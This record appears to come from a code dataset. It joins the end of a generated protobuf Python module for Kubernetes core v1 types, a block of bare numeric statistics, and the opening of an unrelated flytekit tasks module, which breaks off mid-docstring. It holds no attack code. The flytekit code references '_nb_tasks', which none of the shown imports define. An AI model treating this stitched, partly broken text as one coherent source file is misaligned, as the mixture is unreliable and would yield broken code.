@@protoc_insertion_point(class_scope:k8s.io.api.core.v1.RangeAllocation) }) _sym_db.RegisterMessage(RangeAllocation) ReplicationController = _reflection.GeneratedProtocolMessageType('ReplicationController', (_message.Message,), { 'DESCRIPTOR' : _REPLICATIONCONTROLLER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationController) }) _sym_db.RegisterMessage(ReplicationController) ReplicationControllerCondition = _reflection.GeneratedProtocolMessageType('ReplicationControllerCondition', (_message.Message,), { 'DESCRIPTOR' : _REPLICATIONCONTROLLERCONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationControllerCondition) }) _sym_db.RegisterMessage(ReplicationControllerCondition) ReplicationControllerList = _reflection.GeneratedProtocolMessageType('ReplicationControllerList', (_message.Message,), { 'DESCRIPTOR' : _REPLICATIONCONTROLLERLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationControllerList) }) _sym_db.RegisterMessage(ReplicationControllerList) ReplicationControllerSpec = _reflection.GeneratedProtocolMessageType('ReplicationControllerSpec', (_message.Message,), { 'SelectorEntry' : _reflection.GeneratedProtocolMessageType('SelectorEntry', (_message.Message,), { 'DESCRIPTOR' : _REPLICATIONCONTROLLERSPEC_SELECTORENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationControllerSpec.SelectorEntry) }) , 'DESCRIPTOR' : _REPLICATIONCONTROLLERSPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationControllerSpec) }) _sym_db.RegisterMessage(ReplicationControllerSpec) _sym_db.RegisterMessage(ReplicationControllerSpec.SelectorEntry) ReplicationControllerStatus = _reflection.GeneratedProtocolMessageType('ReplicationControllerStatus', (_message.Message,), { 'DESCRIPTOR' : _REPLICATIONCONTROLLERSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ReplicationControllerStatus) }) _sym_db.RegisterMessage(ReplicationControllerStatus) ResourceFieldSelector = _reflection.GeneratedProtocolMessageType('ResourceFieldSelector', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEFIELDSELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceFieldSelector) }) _sym_db.RegisterMessage(ResourceFieldSelector) ResourceQuota = _reflection.GeneratedProtocolMessageType('ResourceQuota', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEQUOTA, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuota) }) _sym_db.RegisterMessage(ResourceQuota) ResourceQuotaList = _reflection.GeneratedProtocolMessageType('ResourceQuotaList', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEQUOTALIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaList) }) _sym_db.RegisterMessage(ResourceQuotaList) ResourceQuotaSpec = _reflection.GeneratedProtocolMessageType('ResourceQuotaSpec', (_message.Message,), { 'HardEntry' : _reflection.GeneratedProtocolMessageType('HardEntry', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEQUOTASPEC_HARDENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaSpec.HardEntry) }) , 'DESCRIPTOR' : _RESOURCEQUOTASPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaSpec) }) _sym_db.RegisterMessage(ResourceQuotaSpec) _sym_db.RegisterMessage(ResourceQuotaSpec.HardEntry) ResourceQuotaStatus = _reflection.GeneratedProtocolMessageType('ResourceQuotaStatus', (_message.Message,), { 'HardEntry' : _reflection.GeneratedProtocolMessageType('HardEntry', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEQUOTASTATUS_HARDENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaStatus.HardEntry) }) , 'UsedEntry' : _reflection.GeneratedProtocolMessageType('UsedEntry', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEQUOTASTATUS_USEDENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaStatus.UsedEntry) }) , 'DESCRIPTOR' : _RESOURCEQUOTASTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceQuotaStatus) }) _sym_db.RegisterMessage(ResourceQuotaStatus) _sym_db.RegisterMessage(ResourceQuotaStatus.HardEntry) _sym_db.RegisterMessage(ResourceQuotaStatus.UsedEntry) ResourceRequirements = _reflection.GeneratedProtocolMessageType('ResourceRequirements', (_message.Message,), { 'LimitsEntry' : _reflection.GeneratedProtocolMessageType('LimitsEntry', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEREQUIREMENTS_LIMITSENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceRequirements.LimitsEntry) }) , 'RequestsEntry' : _reflection.GeneratedProtocolMessageType('RequestsEntry', (_message.Message,), { 'DESCRIPTOR' : _RESOURCEREQUIREMENTS_REQUESTSENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceRequirements.RequestsEntry) }) , 'DESCRIPTOR' : _RESOURCEREQUIREMENTS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ResourceRequirements) }) _sym_db.RegisterMessage(ResourceRequirements) _sym_db.RegisterMessage(ResourceRequirements.LimitsEntry) _sym_db.RegisterMessage(ResourceRequirements.RequestsEntry) SELinuxOptions = _reflection.GeneratedProtocolMessageType('SELinuxOptions', (_message.Message,), { 'DESCRIPTOR' : _SELINUXOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SELinuxOptions) }) _sym_db.RegisterMessage(SELinuxOptions) ScaleIOPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('ScaleIOPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _SCALEIOPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ScaleIOPersistentVolumeSource) }) _sym_db.RegisterMessage(ScaleIOPersistentVolumeSource) ScaleIOVolumeSource = _reflection.GeneratedProtocolMessageType('ScaleIOVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _SCALEIOVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ScaleIOVolumeSource) }) _sym_db.RegisterMessage(ScaleIOVolumeSource) ScopeSelector = _reflection.GeneratedProtocolMessageType('ScopeSelector', (_message.Message,), { 'DESCRIPTOR' : _SCOPESELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ScopeSelector) }) _sym_db.RegisterMessage(ScopeSelector) ScopedResourceSelectorRequirement = _reflection.GeneratedProtocolMessageType('ScopedResourceSelectorRequirement', (_message.Message,), { 'DESCRIPTOR' : _SCOPEDRESOURCESELECTORREQUIREMENT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ScopedResourceSelectorRequirement) }) _sym_db.RegisterMessage(ScopedResourceSelectorRequirement) SeccompProfile = _reflection.GeneratedProtocolMessageType('SeccompProfile', (_message.Message,), { 'DESCRIPTOR' : _SECCOMPPROFILE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SeccompProfile) }) _sym_db.RegisterMessage(SeccompProfile) Secret = _reflection.GeneratedProtocolMessageType('Secret', (_message.Message,), { 'DataEntry' : _reflection.GeneratedProtocolMessageType('DataEntry', (_message.Message,), { 'DESCRIPTOR' : _SECRET_DATAENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Secret.DataEntry) }) , 'StringDataEntry' : _reflection.GeneratedProtocolMessageType('StringDataEntry', (_message.Message,), { 'DESCRIPTOR' : _SECRET_STRINGDATAENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Secret.StringDataEntry) }) , 'DESCRIPTOR' : _SECRET, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Secret) }) _sym_db.RegisterMessage(Secret) _sym_db.RegisterMessage(Secret.DataEntry) _sym_db.RegisterMessage(Secret.StringDataEntry) SecretEnvSource = _reflection.GeneratedProtocolMessageType('SecretEnvSource', (_message.Message,), { 'DESCRIPTOR' : _SECRETENVSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretEnvSource) }) _sym_db.RegisterMessage(SecretEnvSource) SecretKeySelector = _reflection.GeneratedProtocolMessageType('SecretKeySelector', (_message.Message,), { 'DESCRIPTOR' : _SECRETKEYSELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretKeySelector) }) _sym_db.RegisterMessage(SecretKeySelector) SecretList = _reflection.GeneratedProtocolMessageType('SecretList', (_message.Message,), { 'DESCRIPTOR' : _SECRETLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretList) }) _sym_db.RegisterMessage(SecretList) SecretProjection = _reflection.GeneratedProtocolMessageType('SecretProjection', (_message.Message,), { 'DESCRIPTOR' : _SECRETPROJECTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretProjection) }) _sym_db.RegisterMessage(SecretProjection) SecretReference = _reflection.GeneratedProtocolMessageType('SecretReference', (_message.Message,), { 'DESCRIPTOR' : _SECRETREFERENCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretReference) }) _sym_db.RegisterMessage(SecretReference) SecretVolumeSource = _reflection.GeneratedProtocolMessageType('SecretVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _SECRETVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecretVolumeSource) }) _sym_db.RegisterMessage(SecretVolumeSource) SecurityContext = _reflection.GeneratedProtocolMessageType('SecurityContext', (_message.Message,), { 'DESCRIPTOR' : _SECURITYCONTEXT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SecurityContext) }) _sym_db.RegisterMessage(SecurityContext) SerializedReference = _reflection.GeneratedProtocolMessageType('SerializedReference', (_message.Message,), { 'DESCRIPTOR' : _SERIALIZEDREFERENCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SerializedReference) }) _sym_db.RegisterMessage(SerializedReference) Service = _reflection.GeneratedProtocolMessageType('Service', (_message.Message,), { 'DESCRIPTOR' : _SERVICE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Service) }) _sym_db.RegisterMessage(Service) ServiceAccount = _reflection.GeneratedProtocolMessageType('ServiceAccount', (_message.Message,), { 'DESCRIPTOR' : _SERVICEACCOUNT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceAccount) }) _sym_db.RegisterMessage(ServiceAccount) ServiceAccountList = _reflection.GeneratedProtocolMessageType('ServiceAccountList', (_message.Message,), { 'DESCRIPTOR' : _SERVICEACCOUNTLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceAccountList) }) _sym_db.RegisterMessage(ServiceAccountList) ServiceAccountTokenProjection = _reflection.GeneratedProtocolMessageType('ServiceAccountTokenProjection', (_message.Message,), { 'DESCRIPTOR' : _SERVICEACCOUNTTOKENPROJECTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceAccountTokenProjection) }) _sym_db.RegisterMessage(ServiceAccountTokenProjection) ServiceList = _reflection.GeneratedProtocolMessageType('ServiceList', (_message.Message,), { 'DESCRIPTOR' : _SERVICELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceList) }) _sym_db.RegisterMessage(ServiceList) ServicePort = _reflection.GeneratedProtocolMessageType('ServicePort', (_message.Message,), { 'DESCRIPTOR' : _SERVICEPORT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServicePort) }) _sym_db.RegisterMessage(ServicePort) ServiceProxyOptions = _reflection.GeneratedProtocolMessageType('ServiceProxyOptions', (_message.Message,), { 'DESCRIPTOR' : _SERVICEPROXYOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceProxyOptions) }) _sym_db.RegisterMessage(ServiceProxyOptions) ServiceSpec = _reflection.GeneratedProtocolMessageType('ServiceSpec', (_message.Message,), { 'SelectorEntry' : _reflection.GeneratedProtocolMessageType('SelectorEntry', (_message.Message,), { 'DESCRIPTOR' : _SERVICESPEC_SELECTORENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceSpec.SelectorEntry) }) , 'DESCRIPTOR' : _SERVICESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceSpec) }) _sym_db.RegisterMessage(ServiceSpec) _sym_db.RegisterMessage(ServiceSpec.SelectorEntry) ServiceStatus = _reflection.GeneratedProtocolMessageType('ServiceStatus', (_message.Message,), { 'DESCRIPTOR' : _SERVICESTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ServiceStatus) }) _sym_db.RegisterMessage(ServiceStatus) SessionAffinityConfig = _reflection.GeneratedProtocolMessageType('SessionAffinityConfig', (_message.Message,), { 'DESCRIPTOR' : _SESSIONAFFINITYCONFIG, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.SessionAffinityConfig) }) _sym_db.RegisterMessage(SessionAffinityConfig) StorageOSPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('StorageOSPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _STORAGEOSPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.StorageOSPersistentVolumeSource) }) _sym_db.RegisterMessage(StorageOSPersistentVolumeSource) StorageOSVolumeSource = _reflection.GeneratedProtocolMessageType('StorageOSVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _STORAGEOSVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.StorageOSVolumeSource) }) _sym_db.RegisterMessage(StorageOSVolumeSource) Sysctl = _reflection.GeneratedProtocolMessageType('Sysctl', (_message.Message,), { 'DESCRIPTOR' : _SYSCTL, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Sysctl) }) _sym_db.RegisterMessage(Sysctl) TCPSocketAction = _reflection.GeneratedProtocolMessageType('TCPSocketAction', (_message.Message,), { 'DESCRIPTOR' : _TCPSOCKETACTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.TCPSocketAction) }) _sym_db.RegisterMessage(TCPSocketAction) Taint = _reflection.GeneratedProtocolMessageType('Taint', (_message.Message,), { 'DESCRIPTOR' : _TAINT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Taint) }) _sym_db.RegisterMessage(Taint) Toleration = _reflection.GeneratedProtocolMessageType('Toleration', (_message.Message,), { 'DESCRIPTOR' : _TOLERATION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Toleration) }) _sym_db.RegisterMessage(Toleration) TopologySelectorLabelRequirement = _reflection.GeneratedProtocolMessageType('TopologySelectorLabelRequirement', (_message.Message,), { 'DESCRIPTOR' : _TOPOLOGYSELECTORLABELREQUIREMENT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.TopologySelectorLabelRequirement) }) _sym_db.RegisterMessage(TopologySelectorLabelRequirement) TopologySelectorTerm = _reflection.GeneratedProtocolMessageType('TopologySelectorTerm', (_message.Message,), { 'DESCRIPTOR' : _TOPOLOGYSELECTORTERM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.TopologySelectorTerm) }) _sym_db.RegisterMessage(TopologySelectorTerm) TopologySpreadConstraint = _reflection.GeneratedProtocolMessageType('TopologySpreadConstraint', (_message.Message,), { 'DESCRIPTOR' : _TOPOLOGYSPREADCONSTRAINT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.TopologySpreadConstraint) }) _sym_db.RegisterMessage(TopologySpreadConstraint) TypedLocalObjectReference = _reflection.GeneratedProtocolMessageType('TypedLocalObjectReference', (_message.Message,), { 'DESCRIPTOR' : _TYPEDLOCALOBJECTREFERENCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.TypedLocalObjectReference) }) _sym_db.RegisterMessage(TypedLocalObjectReference) Volume = _reflection.GeneratedProtocolMessageType('Volume', (_message.Message,), { 'DESCRIPTOR' : _VOLUME, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Volume) }) _sym_db.RegisterMessage(Volume) VolumeDevice = _reflection.GeneratedProtocolMessageType('VolumeDevice', (_message.Message,), { 'DESCRIPTOR' : _VOLUMEDEVICE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VolumeDevice) }) _sym_db.RegisterMessage(VolumeDevice) VolumeMount = _reflection.GeneratedProtocolMessageType('VolumeMount', (_message.Message,), { 'DESCRIPTOR' : _VOLUMEMOUNT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VolumeMount) }) _sym_db.RegisterMessage(VolumeMount) VolumeNodeAffinity = _reflection.GeneratedProtocolMessageType('VolumeNodeAffinity', (_message.Message,), { 'DESCRIPTOR' : _VOLUMENODEAFFINITY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VolumeNodeAffinity) }) _sym_db.RegisterMessage(VolumeNodeAffinity) VolumeProjection = _reflection.GeneratedProtocolMessageType('VolumeProjection', (_message.Message,), { 'DESCRIPTOR' : _VOLUMEPROJECTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VolumeProjection) }) _sym_db.RegisterMessage(VolumeProjection) VolumeSource = _reflection.GeneratedProtocolMessageType('VolumeSource', (_message.Message,), { 'DESCRIPTOR' : _VOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VolumeSource) }) _sym_db.RegisterMessage(VolumeSource) VsphereVirtualDiskVolumeSource = _reflection.GeneratedProtocolMessageType('VsphereVirtualDiskVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _VSPHEREVIRTUALDISKVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource) }) _sym_db.RegisterMessage(VsphereVirtualDiskVolumeSource) WeightedPodAffinityTerm = _reflection.GeneratedProtocolMessageType('WeightedPodAffinityTerm', (_message.Message,), { 'DESCRIPTOR' : _WEIGHTEDPODAFFINITYTERM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.WeightedPodAffinityTerm) }) _sym_db.RegisterMessage(WeightedPodAffinityTerm) WindowsSecurityContextOptions = _reflection.GeneratedProtocolMessageType('WindowsSecurityContextOptions', (_message.Message,), { 'DESCRIPTOR' : _WINDOWSSECURITYCONTEXTOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.WindowsSecurityContextOptions) }) _sym_db.RegisterMessage(WindowsSecurityContextOptions) DESCRIPTOR._options = None _CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY._options = None _CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY._options = None _CONFIGMAP_DATAENTRY._options = None _CONFIGMAP_BINARYDATAENTRY._options = None _FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY._options = None _FLEXVOLUMESOURCE_OPTIONSENTRY._options = None _LIMITRANGEITEM_MAXENTRY._options = None _LIMITRANGEITEM_MINENTRY._options = None _LIMITRANGEITEM_DEFAULTENTRY._options = None _LIMITRANGEITEM_DEFAULTREQUESTENTRY._options = None _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY._options = None _NODERESOURCES_CAPACITYENTRY._options = None _NODESTATUS_CAPACITYENTRY._options = None _NODESTATUS_ALLOCATABLEENTRY._options = None _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY._options = None _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY._options = None _PERSISTENTVOLUMESPEC_CAPACITYENTRY._options = None _PODSPEC_NODESELECTORENTRY._options = None _PODSPEC_OVERHEADENTRY._options = None _REPLICATIONCONTROLLERSPEC_SELECTORENTRY._options = None _RESOURCEQUOTASPEC_HARDENTRY._options = None _RESOURCEQUOTASTATUS_HARDENTRY._options = None _RESOURCEQUOTASTATUS_USEDENTRY._options = None _RESOURCEREQUIREMENTS_LIMITSENTRY._options = None _RESOURCEREQUIREMENTS_REQUESTSENTRY._options = None _SECRET_DATAENTRY._options = None _SECRET_STRINGDATAENTRY._options = None _SERVICESPEC_SELECTORENTRY._options = None # @@protoc_insertion_point(module_scope)
48.236644
61,834
0.761249
90,764
712,407
5.675213
0.021903
0.046748
0.033896
0.041428
0.816938
0.797921
0.780363
0.764376
0.708982
0.694827
0
0.041004
0.112333
712,407
14,768
61,835
48.239911
0.773546
0.025784
0
0.728956
1
0.072534
0.189145
0.149697
0
0
0
0
0
1
0
false
0
0.000651
0
0.000651
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
0c73ad66b7b283923927ccf38cced634220fde43
57,978
py
Python
flytekit/sdk/tasks.py
palchicz/flytekit
726762e1cbe39d216480374b7efb99c339ec63f5
[ "Apache-2.0" ]
null
null
null
flytekit/sdk/tasks.py
palchicz/flytekit
726762e1cbe39d216480374b7efb99c339ec63f5
[ "Apache-2.0" ]
null
null
null
flytekit/sdk/tasks.py
palchicz/flytekit
726762e1cbe39d216480374b7efb99c339ec63f5
[ "Apache-2.0" ]
null
null
null
import datetime as _datetime import six as _six from flytekit.common import constants as _common_constants from flytekit.common.exceptions import user as _user_exceptions from flytekit.common.tasks import generic_spark_task as _sdk_generic_spark_task from flytekit.common.tasks import hive_task as _sdk_hive_tasks from flytekit.common.tasks import sdk_dynamic as _sdk_dynamic from flytekit.common.tasks import sdk_runnable as _sdk_runnable_tasks from flytekit.common.tasks import sidecar_task as _sdk_sidecar_tasks from flytekit.common.tasks import spark_task as _sdk_spark_tasks from flytekit.common.tasks import task as _task from flytekit.common.types import helpers as _type_helpers from flytekit.models import interface as _interface_model from flytekit.sdk.spark_types import SparkType as _spark_type def inputs(_task_template=None, **kwargs): """ Decorator that provides input definitions to a decorated task definition. .. note:: Certain tasks have special input behavior. See comments on each task decorator for more information. .. code-block:: python @inputs(in1=Types.Integer, in2=[Types.String], in3=[[[Types.Integer]]]) @outputs(out1=Types.Integer, out2=Types.String) @python_task def my_task(wf_params, in1, in2, out1, out2): pass :param flytekit.common.tasks.sdk_runnable.SdkRunnableTask _task_template: Do not declare directly. This is the decorated task template. :param dict[Text,flytekit.common.types.base_sdk_types.FlyteSdkType] kwargs: Arbitrary keyword arguments for input name and type. :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ def apply_inputs_wrapper(task): if not isinstance(task, _task.SdkTask): additional_msg = ( "Inputs can only be applied to a task. Did you forget the task decorator on method '{}.{}'?".format( task.__module__, task.__name__ if hasattr(task, "__name__") else "<unknown>", ) ) raise _user_exceptions.FlyteTypeException( expected_type=_sdk_runnable_tasks.SdkRunnableTask, received_type=type(task), received_value=task, additional_msg=additional_msg, ) for k, v in _six.iteritems(kwargs): kwargs[k] = _interface_model.Variable( _type_helpers.python_std_to_sdk_type(v).to_flyte_literal_type(), "" ) # TODO: Support descriptions task.add_inputs(kwargs) return task if _task_template is not None: return apply_inputs_wrapper(_task_template) else: return apply_inputs_wrapper def outputs(_task_template=None, **kwargs): """ Decorator that provides output definitions to a decorated task definition. .. note:: Certain tasks have special output behavior. See comments on each task decorator for more information. .. code-block:: python @outputs(out1=Types.Integer, out2=Types.String) @python_task def my_task(wf_params, out1, out2): out1.set(123) out2.set('hello world!') :param flytekit.common.tasks.sdk_runnable.SdkRunnableTask _task_template: Do not declare directly. This is the decorated task template. :param dict[Text,flytekit.common.types.base_sdk_types.FlyteSdkType] kwargs: Arbitrary keyword arguments for input name and type. :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ def apply_outputs_wrapper(task): if not isinstance(task, _sdk_runnable_tasks.SdkRunnableTask) and not isinstance( task, _nb_tasks.SdkNotebookTask ): additional_msg = ( "Outputs can only be applied to a task. Did you forget the task decorator on method '{}.{}'?".format( task.__module__, task.__name__ if hasattr(task, "__name__") else "<unknown>", ) ) raise _user_exceptions.FlyteTypeException( expected_type=_sdk_runnable_tasks.SdkRunnableTask, received_type=type(task), received_value=task, additional_msg=additional_msg, ) for k, v in _six.iteritems(kwargs): kwargs[k] = _interface_model.Variable( _type_helpers.python_std_to_sdk_type(v).to_flyte_literal_type(), "" ) # TODO: Support descriptions task.add_outputs(kwargs) return task if _task_template is not None: return apply_outputs_wrapper(_task_template) else: return apply_outputs_wrapper def python_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, environment=None, cache_serialize=False, cls=None, ): """ Decorator to create a Python Task definition. This task will run as a single unit of work on the platform. .. code-block:: python @inputs(int_list=[Types.Integer]) @outputs(sum_of_list=Types.Integer @python_task def my_task(wf_params, int_list, sum_of_list): sum_of_list.set(sum(int_list)) :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed for wrapped task functions. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.sdk.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: [optional] boolean describing if the task is interruptible. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text 